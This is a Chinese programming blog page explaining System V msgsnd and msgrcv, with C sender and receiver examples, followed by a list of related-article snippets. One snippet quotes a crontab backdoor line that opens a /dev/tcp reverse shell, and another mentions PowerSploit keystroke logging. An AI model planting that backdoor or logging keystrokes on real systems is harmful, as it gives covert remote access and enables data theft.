msgsnd

int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg);
作用:
把一条消息添加到消息队列中
参数:
msqid : 由msgget函数返回的消息队列标识
msgp :是一个指针,指针指向准备发送的消息
msgsz :是msgp指向的消息长度,这个长度不含保存消息类型的那个long int长整型
msgflg :控制着当前消息队列或到达系统上限时将要发生的事情
IPC_NOWAIT表示队列满不等待,返回EAGAIN错误
0 表示队列满阻塞 返回值:
成功 : 0
失败 : -1

msgbuf

  消息结构在两方面受制约:

  • 它必须小于系统规定的上限值(MSGMAX)
  • 它必须以一个long int长整数开始,接收者函数将利用这个长整数确定消息的类型
struct msgbuf {
long mtype; /* message type, must be > 0 */
char mtext[1]; /* message data */
};
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h> #define ERR_EXIT(m) \
do \
{ \
perror(m); \
exit(EXIT_FAILURE); \
} while (0) struct msgbuf {
long mtype; /* message type, must be > 0 */
char mtext[1]; /* message data */
}; int main(int argc, char const *argv[])
{ if(argc != 3)
{
fprintf(stderr, "Usage : %s <bytes> <type>\n",argv[0]);
exit(EXIT_FAILURE);
} int len = atoi(argv[1]);
int type = atoi(argv[2]); int msgid;
msgid = msgget(1234,0);
if(msgid == -1)
ERR_EXIT("msgget"); printf("msget success, msgid=%d\n!",msgid); struct msgbuf* ptr;
ptr = (struct msgbuf*)malloc(sizeof(long)+len);
ptr->mtype = type; // =MSGMNB 阻塞
// >MSGMNB Invalid argument
// if(msgsnd(msgid, ptr, len, 0) < 0) // =MSGMNB Resource temporarily unavailable
// >MSGMNB Invalid argument
if(msgsnd(msgid, ptr, len, IPC_NOWAIT) < 0)
ERR_EXIT("msgsnd"); free(ptr);
return 0;
}

msgrcv

ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg);
作用:
从消息队列接受消息
参数:
msqid : 由msgget函数返回的消息队列标识
msgp :是一个指针,指针指向准备接收的消息
msgsz :是msgp指向的消息长度,这个长度不含保存消息类型的那个long int长整型
msgtyp :它可以实现接收优先级的简单形式
=0 : 返回队列第一条消息
>0 : 返回队列第一条类型等于msgtype的消息
<0 : 返回队列第一条类型小于等于msgtype绝对值的消息
>0 && msgflg=MSC_EXCEPT 接收类型不等于msgtype的第一条消息 msgflg :控制着队列中没有相应类型的消息可提供接收时将要发生的事
IPC_NOWAIT表示队列满不等待,返回EAGAIN错误
MSG_NOERROR 消息大小超过msgsz时被截断
0 表示队列满阻塞
返回值:
成功 : 返回实际放到接收缓冲区里的字符个数
失败 : -1
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h> #define ERR_EXIT(m) \
do \
{ \
perror(m); \
exit(EXIT_FAILURE); \
} while (0) struct msgbuf {
long mtype; /* message type, must be > 0 */
char mtext[1]; /* message data */
}; #define MSGMAX 8192
int main(int argc, char* argv[])
{ int flag = 0;
int type = 0;
int opt; while(1)
{
opt = getopt(argc, argv, "nt:");
if(opt == '?')
exit(EXIT_FAILURE); if(opt == -1)
break;
switch (opt)
{
case 'n':
flag |= IPC_NOWAIT;
break;
case 't':
type = atoi(optarg);
break;
}
} int msgid;
msgid = msgget(1234,0);
if(msgid == -1)
ERR_EXIT("msgget"); printf("msget success, msgid=%d\n",msgid); struct msgbuf* ptr;
ptr = (struct msgbuf*)malloc(sizeof(long) + MSGMAX);
ptr->mtype = type; int nRec = 0;
if( (nRec = msgrcv(msgid, ptr, MSGMAX, type, flag)) < 0)
ERR_EXIT("msgsnd"); printf("read %d bytes type = %ld\n", nRec, ptr->mtype);
free(ptr);
return 0;
}

第二十六章 system v消息队列(二)的更多相关文章

  1. 第二十五章 system v消息队列(一)

    IPC对象的持续性 随进程持续 :一直存在直到打开的最后一个进程结束.(如pipe和FIFO) 随内核持续 :一直存在直到内核自举(内核自举就是把主引导记录加载到内存,并跳转执行这段内存)或显示删除( ...

  2. 第6章 System V消息队列

    6.1 概述 System V消息队列在内核中是list存放的,头结点中有2个指针msg_first 和msg_last.其中每个节点包含:下个节点地址的指针.类型.长度.数据等. 6.2 函数 6. ...

  3. linux网络编程之system v消息队列(二)

    今天继续学习system v消息队列,主要是学习两个函数的使用,开始进入正题: 下面则开始用代码来使用一下该发送函数: 在运行之前,先查看一下1234消息队列是否已经创建: 用上次编写的查看消息队列状 ...

  4. 第二十七章 system v消息队列(三)

    消息队列实现回射客户/服务器 msg_srv.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> ...

  5. 第二十九章 System V共享内存

    共享内存数据结构 共享内存函数 shmget int shmget(key_t key, size_t size, int shmflg); 功能: 用于创建共享内存 参数: key : 这个共享内存 ...

  6. 进程间通信 System V 消息队列

    1.msgget (key_t ket,int flag) ; //创建一个新的消息队列或者访问一个已存在的消息队列 2.msgsnd(int msid, const void *ptr ,size_ ...

  7. Linux进程通信之System V消息队列

    System V消息队列是Open Group定义的XSI,不属于POSIX标准.System V IPC的历史相对很早,在上个世70年代后期有贝尔实验室的分支机构开发,80年代加入System V的 ...

  8. 利用System V消息队列实现回射客户/服务器

    一.介绍 在学习UNIX网络编程 卷1时,我们当时可以利用Socket套接字来实现回射客户/服务器程序,但是Socket编程是存在一些不足的,例如: 1. 服务器必须启动之时,客户端才能连上服务端,并 ...

  9. UNIX环境高级编程——system V消息队列

    unix早期通信机制中的信号能够传送的信息量有限,管道则只能传送无格式字节流,这远远是不够的.     消息队列(也叫报文队列)客服了这些缺点:     消息队列就是一个消息的链表.     可以把消 ...

随机推荐

  1. 树上数据结构——LCT

    目录 树上数据结构--LCT 概述 基本概念 核心操作 其他操作 完整模板 树上数据结构--LCT 概述 LCT是一种强力的树上数据结构,支持以下操作: 链上求和 链上求最值 链上修改 子树修改 子树 ...

  2. 序列标注(BiLSTM-CRF/Lattice LSTM)

    前言 在三大特征提取器中,我们已经接触了LSTM/CNN/Transormer三种特征提取器,这一节我们将介绍如何使用BiLSTM实现序列标注中的命名实体识别任务,以及Lattice-LSTM的模型原 ...

  3. Windows搭建SVN服务器

    安装 1.下载地址:https://www.visualsvn.com/files/VisualSVN-Server-4.0.3-x64.msi 2.开始安装: 3.安装配置: 4.Next直到完成 ...

  4. 杂谈:开发人员如何进行复杂业务的学习?让boss刮目相看

    一点小拙见,欢迎指正 一.概述 大型复杂的软件系统,是有许多人共同协作完成的,有些产品的业务是很复杂的,其在需求文档,及开发规范上都做得很好,不然维护的人越多,没有文档和规范去限制,岂不更加乱套. 如 ...

  5. python自动化测试三部曲之request+django实现接口测试

    国庆期间准备写三篇博客,介绍和总结下接口测试,由于国庆期间带娃,没有按照计划完成,今天才完成第二篇,惭愧惭愧. 这里我第一篇博客的地址:https://www.cnblogs.com/bainianm ...

  6. 支撑微博亿级社交平台,小白也能玩转Redis集群(原理篇)

    Redis作为一款性能优异的内存数据库,支撑着微博亿级社交平台,也成为很多互联网公司的标配.这里将以Redis Cluster集群为核心,基于最新的Redis5版本,从原理再到实战,玩转Redis集群 ...

  7. POWERSPLOIT-Exfiltration(信息收集)脚本渗透实战

    Exfiltration模块 a) 调用Get-Keystrokes记录用户的键盘输入. 1)通过IEX下载并调用Get-Keystrokes. PS C:\Users\Administrator&g ...

  8. crontab一句话后门分析

    正常版本 (crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1&g ...

  9. [NOIp2014] luogu P1351 联合权值

    哎我博 4 了. 题目描述 无向连通图 GGG 有 nnn 个点,n−1n−1n−1 条边.点从 111 到 nnn 依次编号,编号为 iii 的点的权值为 WiW_iWi​,每条边的长度均为 111 ...

  10. swap()函数的几种写法及优劣

    试用几种方法实现swap函数,比较效率高低. 首先说结果,最快的是赋值交换. 原因分析 gcc开启O2优化后,三个函数的汇编代码一样.是的,除了第一行的文件名,一模一样. 附代码 void swap1 ...